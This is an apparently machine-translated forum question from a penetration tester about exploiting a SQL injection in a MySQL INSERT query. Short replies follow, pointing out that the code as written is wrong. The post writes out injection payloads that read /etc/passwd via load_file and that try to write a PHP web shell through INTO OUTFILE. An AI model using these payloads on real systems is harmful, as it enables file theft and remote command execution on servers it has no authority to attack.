2016-10-06 2 views
1

Вот интересный сценарий. Во время недавнего пентеста я столкнулся с SQL-инъекцией внутри запроса INSERT. Код бэкенд выглядит примерно так:SELECT INTO OUTFILE в INSERT MySQL Query

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'"; 

Я могу вставить произвольные значения в файл и использовать даже выбора вложенного запроса вставить содержимое «/ и т.д./пароль» в col1 внутри sometable и прочитайте его позже, используя совершенно другую функциональность где-нибудь еще в приложении.

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))"; 

Задача состоит в том, чтобы записать файл на диск с помощью INTO OUTFILE (я имею FILE privs и корневой документ доступен для записи пользователя MySQL - проверено). Похоже, что MySQL не поддерживает следующее:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')"; 

Цель состоит в том, чтобы написать PHP веб-оболочку в папку, где у меня есть права на запись. Окончательный запрос, который должен быть выполнен так:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')"; 

MySQL ожидает возвращаемые данные по суб-запросов, поэтому приведенное выше утверждение, кажется, не работает, так как INTO OUTFILE будет записывать данные на диск, вместо того, чтобы вернуться это для MySQL.

Как вы думаете, есть ли обходной путь?

+0

'+' - это математическое дополнение в любом случае. поэтому вы будете делать «Один плюс (содержимое файла)», что не имеет логического смысла. вам понадобится нечто вроде 'col1 = concat ('1', load_file (...))'. И для вашего последнего утверждения php не рекурсивно встраивается. вы уже находитесь в «php mode», чтобы построить строку $ sql, поэтому PHP-код внутри этой строки ** NOT ** выполнен и не может быть выполнен, если эта база кода не делает что-то нелепое, как 'eval ($ sqlquery)' –

+0

В PHP нет строкового конкатенатора '+'. Поэтому ни одна из этих строк не создаст рабочий запрос. – syck

+0

Но если вы хотите знать, как работает SQL-инъекция, здесь есть множество вопросов и ответов. – syck

ответ

Смежные вопросы